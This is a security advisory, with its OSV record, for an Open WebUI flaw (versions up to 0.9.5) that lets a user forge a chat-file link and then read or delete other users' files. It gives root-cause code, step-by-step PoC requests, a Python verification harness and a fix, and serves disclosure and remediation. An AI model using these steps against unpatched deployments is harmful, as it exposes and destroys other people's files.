GHSA-VRHC-3FR6-PC3C
Vulnerability from github – Published: 2026-06-17 14:12 – Updated: 2026-06-17 14:12Summary
Open WebUI v0.9.5 lets an authenticated user attach arbitrary file_id values to their own chat message without checking whether they own or can read those files. If the attacker then shares that chat and grants themselves read access, has_access_to_file() treats the victim file as accessible through the shared chat, and the file endpoints read or delete the victim file.
Impact
Security boundary crossed: file confidentiality and integrity.
An authenticated attacker who knows or obtains a victim file_id can make Open WebUI authorize, through an attacker-owned shared chat:
- reading the victim file via
GET /api/v1/files/{id}/content, and - deleting the victim file via
DELETE /api/v1/files/{id}.
Root Cause
Client-controlled message file IDs are persisted without file authorization checks:
# backend/open_webui/main.py
await Chats.insert_chat_files(
chat_id,
user_message.get('id'),
[
file_item.get('id')
for file_item in user_message_files
if file_item.get('type') == 'file'
],
user.id,
)
insert_chat_files() stores the provided IDs directly:
# backend/open_webui/models/chats.py
ChatFileModel(
user_id=user_id,
chat_id=chat_id,
message_id=message_id,
file_id=file_id,
)
Later, file authorization trusts shared-chat associations:
# backend/open_webui/utils/access_control/files.py
shared_chat_ids = await Chats.get_shared_chat_ids_by_file_id(file_id, db=db)
if shared_chat_ids:
accessible_ids = await AccessGrants.get_accessible_resource_ids(
user_id=user.id,
resource_type='shared_chat',
resource_ids=shared_chat_ids,
permission='read',
)
if accessible_ids:
return True
The download endpoint uses this helper:
# backend/open_webui/routers/files.py
if file.user_id == user.id or user.role == 'admin' or await has_access_to_file(id, 'read', user, db=db):
return FileResponse(file_path, ...)
On affected versions this shared-chat branch is not gated on access_type (the grant lookup hardcodes permission='read', but nothing checks that the request itself is a read). The same forged association therefore also satisfies the write check that DELETE /api/v1/files/{id} performs, so the attacker can delete the victim file, not only read it.
Because the shared-chat branch ignores access_type, the deletion does not require the forged association at all. A user granted only read access to a chat that the owner legitimately shared can delete the owner's own files attached to that chat via DELETE /api/v1/files/{id}, since the read grant satisfies the write check. The forged association (above) broadens this to any victim file_id; a legitimate read-only share reaches it without any forgery.
PoC
- Attacker creates or uses a chat they own.
- Attacker sends
POST /api/chat/completionsorPOST /api/v1/chat/completionswhere top-leveluser_message.filescontains:
[
{
"type": "file",
"id": "VICTIM_FILE_ID"
}
]
- Backend inserts a
chat_filerow linking the attacker chat toVICTIM_FILE_ID. - Attacker shares the chat and grants read access to themselves or public access.
- Attacker requests:
GET /api/v1/files/VICTIM_FILE_ID/content
Expected: 404/403 because the attacker does not own or otherwise have access to the victim file.
Actual: file authorization succeeds through the attacker-controlled shared-chat association.
Local Verification
I verified the bug locally with Open WebUI's real Chats.insert_chat_files() and real has_access_to_file() implementations. The harness uses fake DB adapters only to avoid this environment's async SQLite hang; the security-sensitive logic under test is the application code.
Result:
{
"before_chat_file_link_attacker_can_read": false,
"insert_sink": {
"db_commit_called": true,
"insert_returned_rows": true,
"stored_chat_ids": [
"attacker-chat"
],
"stored_file_ids": [
"victim-file"
],
"stored_user_ids": [
"attacker"
]
},
"after_attacker_shared_chat_links_victim_file_attacker_can_read": true,
"confirmed": true
}
PoC:
#!/usr/bin/env python3
"""
Verifier for chat-file link authorization bypass.
This intentionally avoids the app DB because the local Python 3.13 async SQLite
stack hangs in this checkout. It still executes Open WebUI's real
has_access_to_file() implementation, with fake model adapters standing in for
the DB tables.
"""
from __future__ import annotations
import asyncio
import json
import os
import sys
import types
from pathlib import Path
from types import SimpleNamespace
def prepare_imports() -> None:
repo_root = Path(__file__).resolve().parents[1]
sys.path.insert(0, str(repo_root / "backend"))
os.environ["VECTOR_DB"] = "none"
class DummyTyper:
def command(self, *args, **kwargs):
return lambda fn: fn
sys.modules.setdefault(
"typer",
types.SimpleNamespace(
Typer=lambda *args, **kwargs: DummyTyper(),
Option=lambda *args, **kwargs: None,
echo=lambda *args, **kwargs: None,
Exit=Exception,
),
)
sys.modules.setdefault("uvicorn", types.SimpleNamespace(run=lambda *args, **kwargs: None))
class FakeFiles:
async def get_file_by_id(self, file_id, db=None):
if file_id == "victim-file":
return SimpleNamespace(
id="victim-file",
user_id="victim",
meta={},
)
return None
class FakeKnowledges:
async def get_knowledges_by_file_id(self, file_id, db=None):
return []
class FakeGroups:
async def get_groups_by_member_id(self, user_id, db=None):
return []
class FakeChannels:
async def get_channels_by_file_id_and_user_id(self, file_id, user_id, db=None):
return []
class FakeModels:
async def get_models_by_user_id(self, user_id, permission="read", db=None):
return []
class FakeChats:
def __init__(self, linked: bool):
self.linked = linked
async def get_shared_chat_ids_by_file_id(self, file_id, db=None):
if self.linked and file_id == "victim-file":
# This mirrors a chat_file row tying victim-file to the attacker's
# shared chat. The real insertion sink is Chats.insert_chat_files().
return ["attacker-chat"]
return []
class FakeAccessGrants:
def __init__(self, granted: bool):
self.granted = granted
async def has_access(self, *args, **kwargs):
return False
async def get_accessible_resource_ids(
self,
user_id,
resource_type,
resource_ids,
permission="read",
user_group_ids=None,
db=None,
):
if (
self.granted
and user_id == "attacker"
and resource_type == "shared_chat"
and "attacker-chat" in resource_ids
and permission == "read"
):
return {"attacker-chat"}
return set()
class FakeDb:
def __init__(self):
self.added = []
self.committed = False
def add_all(self, rows):
self.added.extend(rows)
async def commit(self):
self.committed = True
class FakeDbContext:
def __init__(self, db):
self.db = db
async def __aenter__(self):
return self.db
async def __aexit__(self, exc_type, exc, tb):
return False
async def verify_insert_sink_accepts_victim_file_id():
import open_webui.models.chats as chats_module
fake_db = FakeDb()
chats_table = chats_module.Chats
original_context = chats_module.get_async_db_context
original_existing = chats_table.get_chat_files_by_chat_id_and_message_id
async def fake_existing(self, chat_id, message_id, db=None):
return []
try:
chats_module.get_async_db_context = lambda db=None: FakeDbContext(fake_db)
chats_table.get_chat_files_by_chat_id_and_message_id = types.MethodType(fake_existing, chats_table)
inserted = await chats_table.insert_chat_files(
chat_id="attacker-chat",
message_id="attacker-message",
file_ids=["victim-file"],
user_id="attacker",
)
finally:
chats_module.get_async_db_context = original_context
chats_table.get_chat_files_by_chat_id_and_message_id = original_existing
return {
"insert_returned_rows": bool(inserted),
"db_commit_called": fake_db.committed,
"stored_file_ids": [getattr(row, "file_id", None) for row in fake_db.added],
"stored_chat_ids": [getattr(row, "chat_id", None) for row in fake_db.added],
"stored_user_ids": [getattr(row, "user_id", None) for row in fake_db.added],
}
async def main() -> None:
prepare_imports()
import open_webui.utils.access_control.files as file_acl
attacker = SimpleNamespace(id="attacker", role="user")
original = {
"Files": file_acl.Files,
"Knowledges": file_acl.Knowledges,
"Groups": file_acl.Groups,
"Channels": file_acl.Channels,
"Chats": file_acl.Chats,
"Models": file_acl.Models,
"AccessGrants": file_acl.AccessGrants,
}
try:
file_acl.Files = FakeFiles()
file_acl.Knowledges = FakeKnowledges()
file_acl.Groups = FakeGroups()
file_acl.Channels = FakeChannels()
file_acl.Models = FakeModels()
file_acl.Chats = FakeChats(linked=False)
file_acl.AccessGrants = FakeAccessGrants(granted=False)
before = await file_acl.has_access_to_file("victim-file", "read", attacker)
file_acl.Chats = FakeChats(linked=True)
file_acl.AccessGrants = FakeAccessGrants(granted=True)
after = await file_acl.has_access_to_file("victim-file", "read", attacker)
insert_sink = await verify_insert_sink_accepts_victim_file_id()
result = {
"victim_file_id": "victim-file",
"victim_file_owner": "victim",
"attacker_id": "attacker",
"attacker_owns_file": False,
"insert_sink": insert_sink,
"before_chat_file_link_attacker_can_read": before,
"after_attacker_shared_chat_links_victim_file_attacker_can_read": after,
"confirmed": (
before is False
and after is True
and insert_sink["insert_returned_rows"] is True
and insert_sink["stored_file_ids"] == ["victim-file"]
and insert_sink["stored_user_ids"] == ["attacker"]
),
"sink": "Chats.insert_chat_files() accepts caller-supplied file_ids without checking file ownership/read access",
}
print(json.dumps(result, indent=2, sort_keys=True))
finally:
for name, value in original.items():
setattr(file_acl, name, value)
if __name__ == "__main__":
asyncio.run(main())
Recommended Fix
Before calling Chats.insert_chat_files(), filter user_message.files to files the caller owns or can read:
allowed_file_ids = []
for file_id in requested_file_ids:
file = await Files.get_file_by_id(file_id)
if file and (file.user_id == user.id or user.role == 'admin' or await has_access_to_file(file_id, 'read', user)):
allowed_file_ids.append(file_id)
Also consider enforcing this inside Chats.insert_chat_files() so future call sites cannot create unauthorized chat_file associations.
Additionally, the shared-chat branch of has_access_to_file() should honour access_type, so a read grant cannot satisfy the write check used by file deletion.
Consolidation
Per Open WebUI's Report Handling policy this consolidates independent reports of the same chat-file authorization flaws into one advisory and CVE:
- Cross-user file READ via a forged
chat_fileassociation (GET /api/v1/files/{id}/content): @0xEr3n. Fixed by #25054, which gatesChats.insert_chat_files()so a caller can only link files they own or can read. - Cross-user file DELETION via the shared-chat branch ignoring
access_type(DELETE /api/v1/files/{id}): reported independently by @oxsignal (earliest filing; reached via a legitimately read-only-shared chat, no forged association needed), by @0xEr3n (via the forged association), and by @5yu4n. Fixed by #24755, which makes the shared-chat branch honouraccess_type.
Affected: <= 0.9.5. Patched: >= 0.9.6. One CVE for the consolidated advisory.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.9.5"
},
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54010"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-639",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-17T14:12:20Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nOpen WebUI `v0.9.5` lets an authenticated user attach arbitrary `file_id` values to their own chat message without checking whether they own or can read those files. If the attacker then shares that chat and grants themselves read access, `has_access_to_file()` treats the victim file as accessible through the shared chat, and the file endpoints read or delete the victim file.\n\n## Impact\n\nSecurity boundary crossed: file confidentiality and integrity.\n\nAn authenticated attacker who knows or obtains a victim `file_id` can make Open WebUI authorize, through an attacker-owned shared chat:\n\n- reading the victim file via `GET /api/v1/files/{id}/content`, and\n- deleting the victim file via `DELETE /api/v1/files/{id}`.\n\n## Root Cause\n\nClient-controlled message file IDs are persisted without file authorization checks:\n\n```python\n# backend/open_webui/main.py\nawait Chats.insert_chat_files(\n chat_id,\n user_message.get(\u0027id\u0027),\n [\n file_item.get(\u0027id\u0027)\n for file_item in user_message_files\n if file_item.get(\u0027type\u0027) == \u0027file\u0027\n ],\n user.id,\n)\n```\n\n`insert_chat_files()` stores the provided IDs directly:\n\n```python\n# backend/open_webui/models/chats.py\nChatFileModel(\n user_id=user_id,\n chat_id=chat_id,\n message_id=message_id,\n file_id=file_id,\n)\n```\n\nLater, file authorization trusts shared-chat associations:\n\n```python\n# backend/open_webui/utils/access_control/files.py\nshared_chat_ids = await Chats.get_shared_chat_ids_by_file_id(file_id, db=db)\nif shared_chat_ids:\n accessible_ids = await AccessGrants.get_accessible_resource_ids(\n user_id=user.id,\n resource_type=\u0027shared_chat\u0027,\n resource_ids=shared_chat_ids,\n permission=\u0027read\u0027,\n )\n if accessible_ids:\n return True\n```\n\nThe download endpoint uses this helper:\n\n```python\n# backend/open_webui/routers/files.py\nif file.user_id == user.id or user.role == \u0027admin\u0027 or await has_access_to_file(id, \u0027read\u0027, user, db=db):\n return FileResponse(file_path, ...)\n```\n\nOn affected versions this shared-chat branch is not gated on `access_type` (the grant lookup hardcodes `permission=\u0027read\u0027`, but nothing checks that the request itself is a read). The same forged association therefore also satisfies the `write` check that `DELETE /api/v1/files/{id}` performs, so the attacker can delete the victim file, not only read it.\n\nBecause the shared-chat branch ignores `access_type`, the deletion does not require the forged association at all. A user granted only **read** access to a chat that the owner legitimately shared can delete the owner\u0027s own files attached to that chat via `DELETE /api/v1/files/{id}`, since the read grant satisfies the `write` check. The forged association (above) broadens this to any victim `file_id`; a legitimate read-only share reaches it without any forgery.\n\n## PoC\n\n1. Attacker creates or uses a chat they own.\n2. Attacker sends `POST /api/chat/completions` or `POST /api/v1/chat/completions` where top-level `user_message.files` contains:\n\n```json\n[\n {\n \"type\": \"file\",\n \"id\": \"VICTIM_FILE_ID\"\n }\n]\n```\n\n3. Backend inserts a `chat_file` row linking the attacker chat to `VICTIM_FILE_ID`.\n4. Attacker shares the chat and grants read access to themselves or public access.\n5. Attacker requests:\n\n```text\nGET /api/v1/files/VICTIM_FILE_ID/content\n```\n\nExpected: 404/403 because the attacker does not own or otherwise have access to the victim file.\n\nActual: file authorization succeeds through the attacker-controlled shared-chat association.\n\n## Local Verification\n\nI verified the bug locally with Open WebUI\u0027s real `Chats.insert_chat_files()` and real `has_access_to_file()` implementations. The harness uses fake DB adapters only to avoid this environment\u0027s async SQLite hang; the security-sensitive logic under test is the application code.\n\nResult:\n\n```json\n{\n \"before_chat_file_link_attacker_can_read\": false,\n \"insert_sink\": {\n \"db_commit_called\": true,\n \"insert_returned_rows\": true,\n \"stored_chat_ids\": [\n \"attacker-chat\"\n ],\n \"stored_file_ids\": [\n \"victim-file\"\n ],\n \"stored_user_ids\": [\n \"attacker\"\n ]\n },\n \"after_attacker_shared_chat_links_victim_file_attacker_can_read\": true,\n \"confirmed\": true\n}\n```\n\nPoC:\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVerifier for chat-file link authorization bypass.\n\nThis intentionally avoids the app DB because the local Python 3.13 async SQLite\nstack hangs in this checkout. It still executes Open WebUI\u0027s real\nhas_access_to_file() implementation, with fake model adapters standing in for\nthe DB tables.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport asyncio\nimport json\nimport os\nimport sys\nimport types\nfrom pathlib import Path\nfrom types import SimpleNamespace\n\n\ndef prepare_imports() -\u003e None:\n repo_root = Path(__file__).resolve().parents[1]\n sys.path.insert(0, str(repo_root / \"backend\"))\n os.environ[\"VECTOR_DB\"] = \"none\"\n\n class DummyTyper:\n def command(self, *args, **kwargs):\n return lambda fn: fn\n\n sys.modules.setdefault(\n \"typer\",\n types.SimpleNamespace(\n Typer=lambda *args, **kwargs: DummyTyper(),\n Option=lambda *args, **kwargs: None,\n echo=lambda *args, **kwargs: None,\n Exit=Exception,\n ),\n )\n sys.modules.setdefault(\"uvicorn\", types.SimpleNamespace(run=lambda *args, **kwargs: None))\n\n\nclass FakeFiles:\n async def get_file_by_id(self, file_id, db=None):\n if file_id == \"victim-file\":\n return SimpleNamespace(\n id=\"victim-file\",\n user_id=\"victim\",\n meta={},\n )\n return None\n\n\nclass FakeKnowledges:\n async def get_knowledges_by_file_id(self, file_id, db=None):\n return []\n\n\nclass FakeGroups:\n async def get_groups_by_member_id(self, user_id, db=None):\n return []\n\n\nclass FakeChannels:\n async def get_channels_by_file_id_and_user_id(self, file_id, user_id, db=None):\n return []\n\n\nclass FakeModels:\n async def get_models_by_user_id(self, user_id, permission=\"read\", db=None):\n return []\n\n\nclass FakeChats:\n def __init__(self, linked: bool):\n self.linked = linked\n\n async def get_shared_chat_ids_by_file_id(self, file_id, db=None):\n if self.linked and file_id == \"victim-file\":\n # This mirrors a chat_file row tying victim-file to the attacker\u0027s\n # shared chat. The real insertion sink is Chats.insert_chat_files().\n return [\"attacker-chat\"]\n return []\n\n\nclass FakeAccessGrants:\n def __init__(self, granted: bool):\n self.granted = granted\n\n async def has_access(self, *args, **kwargs):\n return False\n\n async def get_accessible_resource_ids(\n self,\n user_id,\n resource_type,\n resource_ids,\n permission=\"read\",\n user_group_ids=None,\n db=None,\n ):\n if (\n self.granted\n and user_id == \"attacker\"\n and resource_type == \"shared_chat\"\n and \"attacker-chat\" in resource_ids\n and permission == \"read\"\n ):\n return {\"attacker-chat\"}\n return set()\n\n\nclass FakeDb:\n def __init__(self):\n self.added = []\n self.committed = False\n\n def add_all(self, rows):\n self.added.extend(rows)\n\n async def commit(self):\n self.committed = True\n\n\nclass FakeDbContext:\n def __init__(self, db):\n self.db = db\n\n async def __aenter__(self):\n return self.db\n\n async def __aexit__(self, exc_type, exc, tb):\n return False\n\n\nasync def verify_insert_sink_accepts_victim_file_id():\n import open_webui.models.chats as chats_module\n\n fake_db = FakeDb()\n chats_table = chats_module.Chats\n\n original_context = chats_module.get_async_db_context\n original_existing = chats_table.get_chat_files_by_chat_id_and_message_id\n\n async def fake_existing(self, chat_id, message_id, db=None):\n return []\n\n try:\n chats_module.get_async_db_context = lambda db=None: FakeDbContext(fake_db)\n chats_table.get_chat_files_by_chat_id_and_message_id = types.MethodType(fake_existing, chats_table)\n\n inserted = await chats_table.insert_chat_files(\n chat_id=\"attacker-chat\",\n message_id=\"attacker-message\",\n file_ids=[\"victim-file\"],\n user_id=\"attacker\",\n )\n finally:\n chats_module.get_async_db_context = original_context\n chats_table.get_chat_files_by_chat_id_and_message_id = original_existing\n\n return {\n \"insert_returned_rows\": bool(inserted),\n \"db_commit_called\": fake_db.committed,\n \"stored_file_ids\": [getattr(row, \"file_id\", None) for row in fake_db.added],\n \"stored_chat_ids\": [getattr(row, \"chat_id\", None) for row in fake_db.added],\n \"stored_user_ids\": [getattr(row, \"user_id\", None) for row in fake_db.added],\n }\n\n\nasync def main() -\u003e None:\n prepare_imports()\n\n import open_webui.utils.access_control.files as file_acl\n\n attacker = SimpleNamespace(id=\"attacker\", role=\"user\")\n\n original = {\n \"Files\": file_acl.Files,\n \"Knowledges\": file_acl.Knowledges,\n \"Groups\": file_acl.Groups,\n \"Channels\": file_acl.Channels,\n \"Chats\": file_acl.Chats,\n \"Models\": file_acl.Models,\n \"AccessGrants\": file_acl.AccessGrants,\n }\n\n try:\n file_acl.Files = FakeFiles()\n file_acl.Knowledges = FakeKnowledges()\n file_acl.Groups = FakeGroups()\n file_acl.Channels = FakeChannels()\n file_acl.Models = FakeModels()\n\n file_acl.Chats = FakeChats(linked=False)\n file_acl.AccessGrants = FakeAccessGrants(granted=False)\n before = await file_acl.has_access_to_file(\"victim-file\", \"read\", attacker)\n\n file_acl.Chats = FakeChats(linked=True)\n file_acl.AccessGrants = FakeAccessGrants(granted=True)\n after = await file_acl.has_access_to_file(\"victim-file\", \"read\", attacker)\n\n insert_sink = await verify_insert_sink_accepts_victim_file_id()\n\n result = {\n \"victim_file_id\": \"victim-file\",\n \"victim_file_owner\": \"victim\",\n \"attacker_id\": \"attacker\",\n \"attacker_owns_file\": False,\n \"insert_sink\": insert_sink,\n \"before_chat_file_link_attacker_can_read\": before,\n \"after_attacker_shared_chat_links_victim_file_attacker_can_read\": after,\n \"confirmed\": (\n before is False\n and after is True\n and insert_sink[\"insert_returned_rows\"] is True\n and insert_sink[\"stored_file_ids\"] == [\"victim-file\"]\n and insert_sink[\"stored_user_ids\"] == [\"attacker\"]\n ),\n \"sink\": \"Chats.insert_chat_files() accepts caller-supplied file_ids without checking file ownership/read access\",\n }\n print(json.dumps(result, indent=2, sort_keys=True))\n finally:\n for name, value in original.items():\n setattr(file_acl, name, value)\n\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n```\n\n## Recommended Fix\n\nBefore calling `Chats.insert_chat_files()`, filter `user_message.files` to files the caller owns or can read:\n\n```python\nallowed_file_ids = []\nfor file_id in requested_file_ids:\n file = await Files.get_file_by_id(file_id)\n if file and (file.user_id == user.id or user.role == \u0027admin\u0027 or await has_access_to_file(file_id, \u0027read\u0027, user)):\n allowed_file_ids.append(file_id)\n```\n\nAlso consider enforcing this inside `Chats.insert_chat_files()` so future call sites cannot create unauthorized `chat_file` associations.\n\nAdditionally, the shared-chat branch of `has_access_to_file()` should honour `access_type`, so a read grant cannot satisfy the write check used by file deletion.\n\n## Consolidation\n\nPer Open WebUI\u0027s Report Handling policy this consolidates independent reports of the same chat-file authorization flaws into one advisory and CVE:\n\n- Cross-user file READ via a forged `chat_file` association (`GET /api/v1/files/{id}/content`): @0xEr3n. Fixed by #25054, which gates `Chats.insert_chat_files()` so a caller can only link files they own or can read.\n- Cross-user file DELETION via the shared-chat branch ignoring `access_type` (`DELETE /api/v1/files/{id}`): reported independently by @oxsignal (earliest filing; reached via a legitimately read-only-shared chat, no forged association needed), by @0xEr3n (via the forged association), and by @5yu4n. Fixed by #24755, which makes the shared-chat branch honour `access_type`.\n\nAffected: `\u003c= 0.9.5`. Patched: `\u003e= 0.9.6`. One CVE for the consolidated advisory.",
"id": "GHSA-vrhc-3fr6-pc3c",
"modified": "2026-06-17T14:12:20Z",
"published": "2026-06-17T14:12:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-vrhc-3fr6-pc3c"
},
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/pull/24755"
},
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/pull/25054"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI: Forged chat-file link allows cross-user file read and deletion"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.